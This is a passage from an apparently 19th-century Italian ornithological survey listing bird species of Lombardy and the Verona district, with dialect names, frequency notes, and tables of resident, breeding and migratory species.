Comunissima. Rallus aquaticus. Comune e nidificante. Ortygometra Porzana. Abbondante alle due epoche del passo, non rimane a nidificare. Ortygometra Bailloni. Comune alle due epoche del passo. Ortygometra parva. Poco comune in aprile. Crex pratensis. Comune dal settembre al novembre. Gallinula chloropus. Sedentaria e comune; nidifica. Fulica atra. Abbondante e stazionaria, nidifica. Grus communis. Rara. Otis tarda. Rara, presa a Cizzolo e a Castellaro. Otis Tetrax. Rara, presa a Castellaro. Œdicenemus scolopax. Raro. Charadrius Pluvialis. Comune di primavera. Squatarola helvetica. Comune. Eudromias Morinellus. Non comune. Ægialitis curonica. Raro di primavera. Ægialitis Hiaticula. Poco comune. Vanellus Capella. Comune. Hæmatopus Ostralegus. Raro, preso ad Ostiglia. Recurvirostra Avocetta. Rara, presa a Cizzolo. Himantopus candidus. Raro in primavera. Phalaropus fulicarius. Accidentale, preso a Casalmoro. Machetes Pugnax. Frequenti. Tringoïdes Hypoleucus. Raro in primavera. Totanus Ochropus. Comune. Totanus stagnatilis. Comune. Totanus Calidris. Non frequente. Totanus nebularius. Comune. Limosa melanura. Accidentale nell'inverno. Scolopax Rusticula. Frequenti. Gallinago major. Di doppio passo, più raro in autunno. Gallinago cælestis. Comune. Gallinago Gallinula. Frequenti. Numenius Arquata. Comune. Numenius Phæopus. Raro d'inverno. Glareola Pratincola. Rara, presa alla Virgiliana. Sterna fluviatilis. Comune. Sternula minuta. Comune. Hydrochelidon leucoptera. Non comune in primavera. Hydrochelidon nigra. Comune. Chroocephalus ridibundus. Comune. Chroocephalus melanocephalus. Comune. Larus canus. Comune. Larus fuscus. Raro. Larus cachinnans. Non comune, specialmente gli adulti. Procellaria pelagica. Accidentale, preso a Viadana. Colymbus glacialis. Rara. Colymbus arcticus. Rarissima. Colymbus septentrionalis. Poco comune. Podiceps cristatus. Comune, nidifica sul lago. Podiceps griseigena. Raro, capita d'inverno. Podiceps nigricollis. Comune e nidificante. Podiceps fluviatilis. Comune e nidificante. Elenco generale delle specie di uccelli osservate nella Lombardia; coi nomi volgari ed indicazioni di frequenza, ubicazione ecc. Corvus Corax, Corbatt. Comune (T), scarso (B), m. Corvus Corone, Corbatt. Comune (T), scarsa (B), p. m. Corvus Cornix, Taccola. Comune, p. m. † Corvus frugilegus. Comune, p. m. † Lycos Monedula. Rara. Nucifraga Caryocatactes, Rampanòs. Raro, accidentale (T), frequente (B), p. c. m. Pyrrhocorax alpinus, Scorbattin del bech giald. Raro (T), frequente (B), m. Pyrrhocorax Graculus, Sgazza marina. Raro, accidentale. Pica rustica, Berta. Comune, p. c. Garrulus glandarius, Gaja, Gasgia. Comunissima. p. c. m. Sturnus vulgaris, Stornell. Comunissimo, p. c. Pastor roseus, Stornell rosa. Accidentale in grossi branchi, p. Fringilla cœlebs, Franguell. Comunissimo, p. c. m. Fringilla Montifringilla, Montan. Comunissimo, p. c. m. Montifringilla nivalis, Franguell de la nev. Raro, m. Petronia stulta, Passaron de montagna. Rara, c. Passer montanus, Passeretta. Comunissima, p. c. 1 Questo elenco è frutto delle osservazioni riunite dei signori conti Ernesto Turati e Carlo Borromeo, i quali nel rispondere ai quesiti per la inchiesta ornitologica hanno compreso nel campo delle loro osservazioni l’intera Lombardia. Quando il risultato delle osservazioni dei due egregi collaboratori non è identico lo indicherò colle iniziali dei loro nomi. Le lettere p. c. m., indicano: pianura, collina, montagna. Il conte Ernesto Turati osserva che le specie segnate con croce gli furono indicate come lombarde da amici ornitologi o cacciatori, ovvero egli stesso le vide con tale provenienza conservate in Musei. Le altre tutte furono catturate dal conte Turati, oppure da lui vedute in carne. Il conte Carlo Borromeo nota che le notizie da lui contribuite sono il frutto di quarantacinque anni di uccellagione, più specialmente le osservazioni sue si riferiscono alle provincie di Milano, Como e Sondrio. Passer Italiae, Passeroetto. Comunissima, p. c. Passer domesticus. Scarsa (B). Coccothraustes vulgaris, Frison. Comunissimo, p. c. m. Ligurinus Chloris, Amorott. Comunissimo, p. c. Chrysomitris Spinus, Legorin. Comunissimo, p. c. m. Carduelis elegans, Ravarin. Comunissimo, p. c. Serinus hortulanus, Sgarzorin. Raro (T), comune (B), p. c. Chloroptila Citrinella, Verdolin. Raro, p. c. Cannabina Linota, Fanett. Comunissimo, p. c. m. † Cannabina flavirostris, Rarissimo. Ægiothus rufescens, Cardinalin. Comune. Ægiothus Linarius, Gegè. Comune quando passa, p. c. m. Pyrrhula europæa, Gemon. Comune, p. c. m. Loxia Curvirostra, Becc-in-cros. Comunissimo quando passa, p. c. Carpodacus erythrinus. Scarso (B). Miliaria Projer, Pravon. Comune, p. c. Emberiza Citrinella, Spajarda. Comunissimo, p. c. m. Emberiza Cirlus, Raro. Emberiza Cia, Zietta. Comune (T), scarso (B), c. m. † Emberiza leucocephala. Rarissimo. Emberiza rustica. Scarso (B). Emberiza Hortulanus. Comunissimo, p. c. m. Emberiza Schoeniclus. Comune. Emberiza pyrrhuloïdes. Non rara (T), scarsa (B). † Calcarius nivalis. Rarissimo. † Calcarius lapponicus. Rarissimo. Melanocorypha Calandra. Rara, p. Calandrella brachydactyla, Calandrina. Raro. Alauda arvensis, Lodola. Comunissima, p. c. m. Alauda arborea, Türlo. Comunissima, p. c. m. Galerita cristata, Lodola col ciuff. Comune, p. Agrodroma campestris, Piossa. Raro. † Corydalla Richardi. Rarissimo. Anthus pratensis, Guzetta. Comunissima p. c. Anthus Spipoletta, Gazetton. Comunissimo, p. c. Anthus trivialis, Dordina. Comunissimo, p. c. Budytus flavus, Ballarina. Comunissimo, p. c. Motacilla alba, Ballarotta. Comunissima, p. c. Calobates melanope, Boarina. Comunissima, p. c. Saxicola Oenanthe, Cubiane. Comune, c. m. Saxicola Stapazina. Rara. Monticola saxatilis, Corossolon. Comune, m. Monticola Cyanus, Passera solitaria. Comune, m. Merula nigra, Merlo. Comunissimo, p. c. m. Merula torquata, Merlo de montagna. Comune, m. Turdus atrigularis. Raro assai. Turdus pilaris, Viscarda. Comunissima, p. c. m. Turdus viscivorus, Dress. Comunissima, p. c. m. Turdus musicus, Dord, Dort. Comunissimo, p. c. m. Turdus iliacus, Zif, Dressin. Comunissimo, p. c. m. Aëdon Luscinia, Rossigneu. Comunissimo, p. c. m. Erithacus Rubecula, Picett. Comunissimo, p. c. m. Cyanecula suecica. Raro, p. c. Cyanecula Wolfi. Raro, p. c. Ruticilla Phoenicurus, Morett. Comunissimo, p. c. m. Ruticilla titys, Morettton. Comune (T), scarso (B), m. Pratincola Rubicola, Scimireu, Pizzamei. Comune, p. c. Pratincola Rubetra, Miaren, Taragn. Comune, m. Sylvia orphæa, Moneghella. Comune (B), scarsa (B), c. Sylvia cinerea, Sardagna, Sartagnola. Comunissima, p. c. m. Sylvia Curruca, Beccafig zenerin. Rara, c. Monachus Atricapillus, Capmegher. Comunissima p. c. m. Monachus hortensis, Beccafigh gross. Comune, p. c. Phylloscopus sibilator, Tuin. Raro, p. c. Phylloscopus Trochilus. Comune (T), scarso (B), p. c. Phylloscopus Bonellii. Comune (T), scarso (B), c. Phylloscopus rufus. Comune, p. c. m. Hypolais icterina, Tuinott. Comune, p. c. Hypolais polyglotta. Comune, p. c. † Hypolais pallida. Raro assai. Acrocephalus streperus, Pizzigaccani. Comunissima, p. c. Acrocephalus arundinaceus, Crécré. Comunissimo, p. c. Acrocephalus palustris. Comune, p. c. Calamodus Schœnobœnus. Raro (T), frequente (B); p. Calamodus aquaticus, Riséreu, Beccafig de risera. Comune, p. Locustella nœvia. Raro, p. †Cettia Cettii. Raro, p. Cisticola cursitans. Comune. Troglodytes parvulus, Reattin. Comunissimo, p. c. m. Cinclus aquaticus, Merlo d’acqua. Comune, m. Accentor collaris, Matellot. Raro, m. Accentor modularis, Passeretta de montagna. Comunissima, p. c. m. Regulus cristatus, Stelin. Comunissimo, p. c. m. Regulus ignicapillus, Stelin. Comune (T), scarso (B), p. c. m. Ægithalus pendulinus, Pendolin. Raro, p. Acredula rosea, Pentin. Comunissima, p. c. m. Panurus biarmicus, Usserin. Raro, (T), frequente (B). p. Parus major, Parascioeula. Comunissima, p. c. m. Parus ater, Parasciolin. Comunissima, p. c. m. Cyanistes caeruleus, Moneghella. Comune, p. c. Pœcile palustris, Moneghin. Rara, c. Lophophanes cristatus, Parasciolin. Rara, c. Sitta cæsia, Picozzin. Comune, p. c. Certhia brachydactyla, Rampeghin. Comune, p. c. Tichodroma muraria, Rampeghin di cepp. Raro, m. Oriolus Galbula, Galbé. Comune, p. c. Ampelis Garrulus. Raro. Lanius Excubitor, Gasgetta marina, Gascieton. Rara (T), frequente (B), p. c. Lanius minor, Gasgetta, Gascetta del co negher. Comune p. c. Lanius Collurio, Stragazza. Comunissima, p. c. Lanius auriculatus, Gasgetta rossa, Gascetta del co ross. Comune, c. Muscicapa Atricapilla, Alett. Comunissima (T), scarsa (B), p. c. Muscicapa collaris, Alett del col bianc. Rara (T), frequente (B). Erythrosterna parva. Accidentale. Butalis Grisola, Alett. Comunissimo, p. c. Hirundo rustica, Rondena. Comunissima, p. c. Chelidon urbica, Darden. Comunissimo, p. c. Clivicola riparia, Comunissimo, p. c. Cotile rupestris, Rara (T), comune (B), m. Cypselus Apus, Rondon, Comunissimo, p. c. m. Cypselus Melba, Rondon bianc o de mar, Raro (T), frequente (B), m. Caprimulgus europaeus, Tettavacc, Comune, p. c. Dryocopus martius, Piccozz, Raro, m. Picus major, Piccozz ross, Comune, p. c. † Picus medius, Raro. Picus minor, Raro, p. Gecinus viridis, Picase verd, Comunissimo, p. c. m. Iynx Torquilla, Stortacoll, Comune, p. c. Cuculus canorus, Cucù, Comune, p. c. m. Alcedo Ispida, Martin pescou, Comune, p. c. Coracias Garrula, Gaza, Rara. Merops Apiaster, Pia-vesp, Usel vespee, Raro, p. c. Upupa Epopis, Buba, Bubba, Comune, p. c. Strix flammea, Belladonna, Comune, p. c. Syrnium Aluco, Loroc, Raro (T), comune (B), p. c. m. Nyctala Tengmalmi, Rarissima. Asio Otus, Piccol dugo, Comune, c. Asio accipitrinus, Comune. Athene Noctua, Sciguetta, Comune, p. c. Scops Giu, Scisceo, Comune, p. c. Bubo maximus, Grandugo, Raro (T), frequente (B), p. c. m. Circus aeruginosus, Falchett de palud, Fale d’acqua, Raro (T), frequente (B), p. Circus cyaneus, Falchett, Rara. † Circus cineraceus, Rara. Circaëtus gallicus, Accidentale. Pandion Haliaëtus, Rarissimo. Haliaëtus Albicilla, Aquila, Rara. † Aquila clanga, Aquila, Rara. Aquila Chrysætus, Aquila reale, Rara (T), frequente (B). Archibuteo lagopus, Accidentale. Buteo vulgaris, Pojana, Comune, p. c. m. Pernis apivorus, Raro. Milvus ictinus. Raro. Milvus migrans. Raro. Falco Peregrinus, Falchett. Raro (T), frequente (B). Hypotriorchis Subbuteo. Raro (T), frequente (B). Æsalon regulus. Raro (T), frequente (B). Cerchneis Tinnunculus, Falchett de campanil. Comunissimo, p. Cerchneis vespertinus. Raro. Astur palumbarius. Accidentale (T), frequente (B). Accipiter Nisus, Pojanella. Comune, p. c. Gypaëtus barbatus. Raro. Gyps fulvus. Raro. Pelecanus Onocrotalus. Raro, accidentale. Phalacrocorax Carbo. Raro. Ardea cinerea, Airon, Sgolgion. Comune, p. Ardea purpurea, Sgolg. Comune, p. † Egretta alba. Rarissima, p. Egretta Garzetta, Airon bianc. Rara, p. Ardeola ralloides. Rara, p. Ardeita minuta, Sgolgin. Comunissimo, p. c. Botaurus stellaris, Tarabus. Comune, p. Nycticorax griseus. Comune (T), scarso (B). Ciconia alba, Sigogna. Rara, p. c. m. Ciconia nigra, Sigogna negra. Rarissima. Platalea Leucorodia. Rarissima. Plegadis Falcinellus, Sgnepon de mar. Comune. Phœnicopterus roseus. Raro. Cygnus musicus. Raro. Bernicla brenta. Rarissima. Bernicla ruficollis. Rara assai. Anser cinereus, Oca salvadega. Rara. Anser segetum. Comune (T), scarsa (B). † Anser albifrons. Rara. Tadorna cornuta. Rarissima. Anas Boscas, Anea salvadega. Comunissimo. Chaulelasmus streperus. Rara (T), comune (B). Spatula clypeata, Cazzuron. Comune. Dafila acuta, Coalunga. Comune. Mareca Penelope, Coross. Comuniissimo. Nettion Crecca, Garganell. Comunissima. Querquedula Circia. Comune. Fuligula rufina. Raro. Fulix ferina. Raro (T), frequente (B). Fulix Marila. Rara (T), frequente (B). Fulix Fuligula. Comunissima. Fulix Nyroca. Rara (T), frequente (B). Bucephala Clangula, Quattr'oeue. Comune (T), scarso (B). † Harelda glacialis. Rarissima. Œdemia fusca, Moretton. Raro. † Erismatura leucocephala. Raro. Mergus Merganser, Resegon. Raro. Mergus Serrator. Raro. † Mergellus Albellus. Rara (T), frequente (B). Columba Palumbus, Tuon. Comunissimo. Columba Oenas. Comune. Columba livia. Comunissimo. Turtur tenera. Comunissima, p. c. Perdix saxatilis, Cotorno. Comune, m. Perdix rufa. Scarsa (B). Starna Perdix, Pernis. Comune, p. c. m. Coturnix communis, Quaja. Comunissima, p. c. Synoicus Lodoisiae, Verr. p. Un solo esemplare, da me esaminato in carne il giorno dopo la sua presa (T). Tetrao Urogallus, Cedron. Raro, m. Lyrurus Tetrix, Gall de montagna. Raro (T), frequente (B), m. Bonasa betulina, Francolin. Raro (T), frequente (B), m. Lagopus mutus. Comune, m. Rallus aquaticus, Grugnett. Comune; p. c. Ortygometra Porzana, Gelardina. Comune, p. c. Ortygometra Bailloni, Calchin. Non comune, p. c. Ortygometra parva, Calchin. Comune, p. c. Crex pratensis, Re de quaj. Comune, p. c. Gallinula chloropus, Gelardina gainera. Comune, p. c. Fulica atra, Folega. Comune, p. c. Grus communis. Rara. Otis Tarda, Otarda. Accidentale. † Otis Tetrax. Accidentale. Edicnemus scolopax, Usell legoratt. Comune. Cursorius gallicus. Accidentale. Charadrius Pluvialis, Pivié. Non raro. † Squatarola helvetica. Accidentale. Eudromias Morinellus. Raro. Ægialitis curonica, Gireu. Comune, p. Ægialitis Hiaticula, Gireu. Comune. Vanellus Capella, Vanett. Comunissima, p. Haematopus Ostralegus. Accidentale. Recurvirostra Avocetta. Accidentale. Himantopus candidus. Accidentale. Tringa Canutus. Raro. Pelidna subarquata. Raro. Pelidna alpina. Raro (T), frequente (B). Actodromas minuta. Raro (T), frequente (B). Calidris Arenaria. Accidentale. Machetes Pugnax, Combattent. Rara. Tringoïdes Hypoleucus, Gireù de fium. Comune, p. Totanus Ochropus, Cubiane. Comune, p. Totanus Glareola, Trentin. Frequent, p. Totanus stagnatilis, Cubiane. Raro, p. Totanus Calidris. Rara, p. † Totanus fuscus. Rara, p. Totanus nebularius, Sgambetton. Rarissima, p. Limosa melanura, Sgambetton. Non rara, p. Limosa rufa. Accidentale. Scolopax Rusticula, Gallinazza. Comune, p. c. m. Gallinago major, Sgneppon. Comune, p. c. Gallinago caelestis, Sgneppa. Comune, p. c. Gallinago Gallinula, Sgneppin. Comune, p. c. Numenius Arquata. Non raro. Numenius tenuirostris. Barissimo. † Numenius Phæopus. Accidentale. Glareola Pratincola, Rarissima. Sterna fluviatilis, Galeden. Comune. Sternà macrura. Accidentale. Sternula minuta, Comune. Hydrochelidon hybrida. Raro. Hydrochelidon nigra, Sgarin negher. Raro (T'), frequente (B). Hydrochelidon leucoptera. Scarso (B). Chroocephalus minutus. Raro (T'), frequente (B). Chroocephalus melanocephalus, Gabian. Comune (T'), scarso (B). Chroocephalus ridibundus. Comunissimo. Rissa tridactyla. Accidentale. Larus canus. Non rara (T'), scarsa (B). Larus fuscus. Non comune. †Larus marinus. Accidentale. Larus cachinnans. Non raro. Stercorarius pomatorhinus. Accidentale. Colymbus glacialis. Accidentale. Colymbus arcticus. Accidentale. Colymbus septentrionalis. Accidentale. Podiceps cristatus, Gorva. Comune (T'), scarso (B). Podiceps griseigena. Accidentale. Podiceps nigricollis. Raro. Podiceps cornutus. Raro. Podiceps fluviatilis, Pisatell. Comune. Elenco delle specie di uccelli che sono sedentarie in Lombardia. Corvus Corax (B). Corvus Corone (B). 2. Corvus Cornix, ed erratica (T). 2 3. Pica rustica. 1. Garrulus glandarius. Pyrrhocorax alpinus (B). Pyrrhocorax Graculus (B). Nucifraga Caryocatactes(B). 1. Sturnus vulgaris. 1. Passer Italiae: Passer domesticus (B). 1. Passer montanus, ed erratica (B). 2. Cocothraustes vulgaris (T). 1. Fringilla coelebs (T). 1. Ligurinus Chloris. †2. Carduelis elegans (T). 2. Emberiza Citrinella (T). †1. Alauda arvensis. †1. Alauda arborea (T). Galerita cristata (B). 2. Anthus Spipoletta, ed erratica. 2. Anthus pratensis, ed erratica (B). Calobates melanope. 1. Merula nigra. Merula torquata (B). 1. Turdus viscivorus. 2. Erithacus Rubecula, ed erratica (T). 2. Pratincola Rubicola (T). †1. Monachus Atricapillus (T). 2. Phylloscopus rufus (T). 1. Troglodytes parvulus, ed erratica. Cinclus aquaticus (B). 3. Accentor modularis, ed erratica (T). 1. Acredula rosea (T). Regulus cristatus (B). 1 Compilato dai conti E. Turati e C. Borromeo; quando vi sono differenze ho aggiunto la iniziale del nome dell’osservatore. 2 Ho notato che da qualche anno avviene una sensibile diminuzione negli Uccelli sedentari, al punto che varie specie, una volta comunissime, ora sono diventate molto scarse, e taluna persino rara. Anche per le specie che si debbono considerare come sedentarie, havvi passaggio sia in primavera, sia in autunno. In primavera alcune coppie si fermano sempre per nidificare e rimangono fino all’epoca dell’omigrazione, che è dall’agosto al novembre. Dai primi di dicembre al marzo rimangono tra noi in quantità maggiore o minore, secondo la specie. Ho segnato col n. 1 quelle delle quali si fermano individui numerosi; col n. 2 se pochi; col n. 3 se pochissimi; colla croce (†) se aumentano in primavera (Turati). Regulus ignicapillus (B). 1. Parus major (T). 3. Cyanistes caeruleus (T). 2. Sitta cæsia (T). 2. Certhia brachydactyla (T). 2. Picus major (T). 3. Gecinus viridis. 2. Alcedo Ispida. 2. Strix flammea. 2. Athene Noctua. Syrnium Aluco (B). Bubo maximus (B). Circus æruginosus (B). Aquila Chrysaëtus (B). Accipiter Nisus (B). 1. Buteo vulgaris. 1. Cerchneis Tinnunculus. Ardea cinerea (B). Gypaëtus barbatus (B). Gyps fulvus (B). 2. Anas Boscas (T). †3. Columba Palumbus (T). 1. Columba livia. Perdix rufa (B). 2. Perdix saxatilis. 1. Starna Perdix. Tetrao Urogallus (B). Lyrurus Tetrix (B). Bonasa betulina (B). Lagopus mutus (B). Rallus aquaticus (B). †1. Gallinula chloropus. 1. Fulica atra (T). 2. Chroocephalus ridibundus (T). 2. Podiceps fluviatilis. Elenco delle specie di uccelli le quali nidificano in Lombardia.¹ Corvus Cornix, t. 55. Pica rustica, t. 101. Garrulus glandarius, t. 24. Sturnus vulgaris, t. 28. †Pastor roseus. Fringilla coelebs, t. 11. ¹ Per la munificenza del conte Ernesto Turati, e a scopo di beneficenza, venne pubblicata a Milano tra il 1865-71 l'opera di E. Bettoni Storia Naturale degli uccelli che nidificano in Lombardia, opera tra le più splendide dei genere, notevole per la bellezza e ricchezza delle sue tavole. Il conte Turati nel compilare la seguente lista osserva che ha segnato con croce le specie non menzionate nell'opera suddetta; delle specie citate egli stesso trovò i nidi colle uova e coi pulcini, e ne ha fatto una bellissima raccolta aggiungendovi gli adulti, maschio e femmina, e conservando ai nidi i supporti naturali. Di contro ai nomi delle specie egli ha ricordato la tavola dell'opera citata nella quale il nido di quella specie è figurato. Montifringilla nivalis, t. 110. Passer montanus, t. 9. Passer Italiae, t. 13. Coccothraustes vulgaris, t. 71. Ligurinus Chloris, t. 21. Carduelis elegans, t. 41. Ægiothus Linarius, t. 70. Emberiza Citrinella, t. 23. Emberiza Hortulana, t. 68. Emberiza Cia, t. 97. Alauda arborea, t. 61. Alauda arvensis, t. 60. † Galerita cristata. Anthus trivialis, t. 47. Anthus Spipoletta, t. 63. † Budytes flavus. Calobates melanope, t. 62. Saxicola Oenanthe, t. 54. Monticola saxatilis, t. 25 e 25 a. Monticola Cyanus, t. 50. Merula nigra, t. 14. Turdus musicus, t. 95. Turdus viscivorus, t. 19. Aëdon Luscinia, t. 32. Erithacus Rubecula, t. 109. Ruticilla Phœnicurus, t. 26. Ruticilla tilys, t. 46. Pratincola Rubicola, t. 66. Pratincola Rubeira, t. 4. Sylvia orphæa, t. 33. Sylvia cinerea, t. 45. Monachus Atricapillus, t. 6. Monachus hortensis, t. 73. Phylloscopus Bonellii, t. 29. Phylloscopus rufus, t. 100. Hypolais polyglotta, t. 79. Hypolais icterina, t. 43. Acrocephalus streperus, t. 10. Acrocephalus arundinaceus, t. 2. Troglodytes parvulus, t. 49. Cinclus aquaticus, t. 105. Accentor collaris, t. 72. Accentor modularis, t. 52. Regulus cristatus, t. 106. Ægithalus pendulinus, t. 77. Acredula rosea, t. 12. Parus major, t. 22. Parus ater, t. 90. Cyanistes caeruleus, t. 51. Sitta cæsia, t. 7. Certhia brachydactyla, t. 88. † Tichodroma muraria. Oriolus Galbula, t. 75. Lanius Excubitor, t. 87. † Lanius minor. Lanius Collurio, t. 59. Lanius auriculatus, t. 40. Butalis Grisola, t. 69. Hirundo rustica, t. 30. Chelidon urbica, t. 67. Clivicola riparia, t. 53. Cypselus Apus, t. 44. Cypselus Melba, t. 61. Caprimulgus europæus, t. 15. Picus major, t. 16. Picus minor, t. 78. Gecinus viridis, t. 65. Ilynx Torquilla, t. 48. Cuculus canorus, t. 92. Alcedo Ispida, 1, 1 a. Merops Apiaster, t. 104. Upupa Epop, t. 27. Strix flammea, t. 36. Syrnium Aluco, t. 76. Asio Otus, t. 56. Athene Noctua, t. 20. Scops Giu, t. 17. Bubo maximus, t. 107. Circus aeruginosus, t. 31, 31 a. Buteo vulgaris, t. 42. Cerchneis Tinnunculus, t. 35. Accipiter Nisus, t. 58. Ardea purpurea, t. 39. Ardetta minuta, t. 3. Anas Boscas, t. 86. Columba Palumbus, t. 18. Columba Oenas, t. 93. Columba livia, t. 80. Turtur tenera, t. 34. Perdix saxatilis, t. 94. Starna Perdix, t. 8. Coturnix communis, t. 5. Tetrao Urogallus, t. 108. Lyrurus Tetrix, t. 85. Lagopus mutus, t. 82. † Rallus aquaticus. Ortygometra Porzana, t. 83. † Ortygometra parva. Crex pratinensis, t. 91. Gallinula chloropus, t. 96. Fulica atra, t. 94. Œdicnemus scolopax, t. 102. Tringoides Hypoleucus, t. 89. Scolopax Rusticula, t. 103. Sterna fluviatilis, t. 84. † Hydrochelidon nigra. Chrocephalus ridibundus, t. 98. † Podiceps fluviatilis. Nell’elenco delle specie che nidificano in Lombardia, redatto dal conte Carlo Borromeo, vi sono le seguenti specie non registrate dal conte Turati: Corvus Corax. Corvus Corone. Pyrrhocorax alpinus. Pyrrhocorax Graculus. Nucifraga Caryocatactes. Chrysomitris Spinus. Ægiothus rufescens. Cannabina Linota. Serinus hortulanus. Pyrrhula europæa. Loxia Curvirostra. Miliaria Projer. Emberiza pyrrhuloides. Melanocorypha Calandra. Motacilla alba. Merula torquata. Cyanecula Wolfi. Phylloscopus Trochilus. Acrocephalus palustris. Calamodus schœnobœnus. ¹ Per tutti gli altri dati richiesti mi riporto all’opera sugli Uccelli che nidificano in Lombardia per E. Bettoni. Ho aggiunto altrove le notizie riguardanti la nidificazione delle poche specie segnate con croce da me trovate col nido in Lombardia dopo la pubblicazione dell’opera suddetta. (Turati). Calamodus aquaticus. Cisticola cursitans. Regulus ignicapillus. Panurus biarmicus. Pöecile palustris. Muscicapa collaris. Aquila Chrysaëtus. Ardea cinerea. Nettion Crecca. Querquedula Circia. Perdix rufa. Bonasa betulina. Ortygometra Bailloni. Ægialitis curonica. Totanus Ochropus. Elenchi delle specie di uccelli che sono di passaggio regolare nella Lombardia. Di passaggio in primavera ed autunno. Lanius minor. Marzo, settembre. Lanius Collurio. Marzo, settembre. Lanius auriculatus. Marzo, settembre. Iynx Torquilla. Marzo, settembre. Cuculus canorus. Marzo, settembre. Caprimulgus europæus. Marzo, settembre. Hirundo rustica. Marzo, settembre. Chelidon urbica. Marzo, settembre. Clivicola riparia. Marzo, settembre. Cotile rupestris. Marzo, novembre. Cypselus Apus. Aprile, settembre. Cypselus Melba. Aprile, settembre. Upupa Epop. Aprile, settembre. Certhia brachydactyla. Aprile, settembre. Oriolus Galbula. Aprile, settembre. Sturnus vulgaris. Aprile, settembre. Turdus viscivorus. Febbraio, ottobre. Turdus musicus. Aprile, ottobre. ¹ Lo tre prime liste sono dovute alle osservazioni del conte Carlo Borromeo. Aëdon Luscinia. Aprile, settembre. Pratincola Rubetra. Aprile, ottobre. Monachus Atricapillus. Marzo, settembre. Monachus hortensis. Marzo, settembre. Sylvia cinerea. Marzo, settembre. Acrocephalus arundinaceus. Aprile, settembre. Parus major. Aprile, settembre. Motacilla alba. Aprile, settembre. Anthus Spipoletta. Aprile, ottobre. Anthus pratensis. Aprile, ottobre. Anthus trivialis. Aprile, settembre. Cannabina Linota. Aprile, ottobre. Columba Palumbus. Marzo, novembre. Columba Oenas. Marzo, novembre. Turtur tenera. Marzo, settembre. Scolopax Rusticula. Marzo, ottobre. Gallinago major. Marzo, settembre. Gallinago caelestis. Marzo, settembre. Gallinago Gallinula. Marzo, settembre. Ardetta minuta. Aprile, settembre. Di passaggio quasi esclusivamente in autunno. Circus aeruginosus. Settembre. Otus vulgaris. Ottobre (a branchi). Scops Giu. Settembre. Lanius Excubitor. Settembre. Corvus Cornix. Ottobre. Corvus Corone. Ottobre. Corvus frugilegus. Ottobre. Turdus pilaris. Novembre. Turdus iliacus. Ottobre. Pratincola Rubicola. Settembre. Ruticilla Phoenicurus. Settembre. Erithacus Rubecula. Settembre. Phylloscopus sibilator. Settembre. Troglodytes parvulus. Ottobre. Regulus cristatus. Novembre. Cyanistes caeruleus. Novembre. Parus ater. Settembre. Calobates melanope. Settembre. Budytes flavus. Settembre. Sturnus vulgaris. Settembre. Agrodroma campestris. Settembre. Galerita cristata. Ottobre. Alauda arvensis. Ottobre. Alauda arborea. Ottobre. Miliaria Projer. Ottobre. Emberiza Citrinella. Ottobre. Emberiza Schœniclus. Ottobre. Fringilla cœlebs. Ottobre. Fringilla Montifringilla. Ottobre. Carduelis elegans. Ottobre. Chrysomitris Spinus. Ottobre. Ligurinus Chloris. Ottobre. Vanellus Capella. Ottobre. Crex pratensis. Settembre. Nettion Crecca. Novembre. Anas Boscas. Novembre. Di passaggio quasi esclusivamente in primavera. Butalis Grisola. Aprile. Gallinago major. Aprile. Mareca Penelope. Marzo. Querquedula Circia. Marzo. Chaulelasmus streperus. Marzo. Spatula clypeata. Marzo. Dafila acuta. Marzo. Specie che sono quasi soltanto di doppio passaggio regolare in Lombardia. Fringilla Montifringilla. Raramente nidifica. Erithacus Rubecula. Pochi nidificano. Turdus musicus. Pochi nidificano. Turdus iliacus. Phylloscopus Bonellii. Pochi nidificano. Phylloscopus Trochilus. Parus ater. Pochi nidificano. Regulus cristatus. Pochi nidificano. Regulus ignicapillus. Ardea cinerea. Scolopax Rusticula. Raramente nidifica. Gallinago major. Gallinago caelestis. Gallinago Gallinula. Sternula minuta. Hydrochelidon nigra. Raramente nidifica. VENETO. Verona, distretto di Caprino, vallata Ferrara (PELLEGRINI Vittorio): La zona d'osservazione della lunghezza di circa 29 chilometri con in media 5 di larghezza, comprende la vallata che dal confine col Trentino si estende alla pianura di Ri- --- 1 Questa lista è fatta dal conte Ernesto Turati il quale osserva: Tra le specie da me conosciute in Lombardia, ve ne sono molte di passo regolare, sia tra quelle sedentarie, sia tra quelle che arrivano per nidificarvi; ve ne sono poi anche di passo irregolare, queste ultime che magari appaiono in quantità per un anno, scompaiono poi per una serie più o meno lunga di anni. vole Veronese, limitata: a levante dalla vetta del monte Cerbiol, dal monte Castel Cuco e dai filoni dei monti Masi e San Marco; a ponente dal versante orientale del monte Baldo; a mezzodi dal piano di Rivole; ed a settentrione dal Trentino. La parte superiore è costituita dalle Alpi boscato-pascolive con prati naturali ed il versante quasi nudo del Baldo. Più in basso si riscontrano i cedui ed i castagneti fruttiferi dei Masi, ed in seguito la coltura agraria con viti e gelsi frastagliata da piccoli colli per lo più nudi. Il territorio che da metri 190 si estende ai 2190 sopra il livello del mare, è intersecato da valli e da torrenti. La massa che compone la parte montuosa consta di calcare secondario a strati più o meno orizzontali. I colli ed i terreni coltivi sono tutti di natura morenica. Elenco generale delle specie di uccelli osservate nella provincia di Verona, distretto di Caprino, Rivole e Vallata Ferrara, coi nomi volgari locali e notizie di frequenza, ubicazione, ecc. Corvus Corax. Corvo grande. Sedentario e comune, nidifica sul monte Baldo. Corvus Cornix. Corvo molinar. Comune. Corvus frugilegus. Corvo, Grola. Abbonda sui monti e scende al piano in grossi stuoli, anche sedentario. Nucifraga Caryocatactes. Rompinose. Invernale e piuttosto rara. Pica rustica. Gaza mora. Stazionaria e non comune. Garrulus glandarius. Gaza rossa o zucona. Assai comune e sedentaria. Pyrrhocorax alpinus. Corvo-merlo. Di passaggio; vedesi in grandi stormi sul monte Baldo, ove probabilmente nidifica; anche sedentario. Sturnus vulgaris. Storlin. Assai comune. Fringilla coelebs. Frenguel. Comune, di doppio passo e sedentario al piano. Fringilla Montifringilla. Montan. Abbonda nell’autunno. Passer montanus. Pasara crautina. Sedentaria e comune. Passer Italiæ. Pasara. Sedentaria e comunissima. Coccothraustes vulgaris. Frison. Comune in autunno. Ligurinus Chloris. Stazionario. Chrysomitris Spinus. Lugarin. Di doppio passaggio. Carduelis elegans. Gardelin. Comune di passo e sedentario. Serinus hortulanus. Sverzarin. Frequente, di passo. Cannabina Linota. Fainèl. Sedentario e comune assai sui monti. Ægiothus Linarius. Fainèl montin. Non raro quando passa. Pyrrhula europæa. Siolonso. Non comune. Loxia Curvirostra. Beco-in-crose. Di passaggio irregolare, pochi sedentari e nidificanti. Miliaria Projer. Petonzo. Raro, si vede in settembre. Emberiza 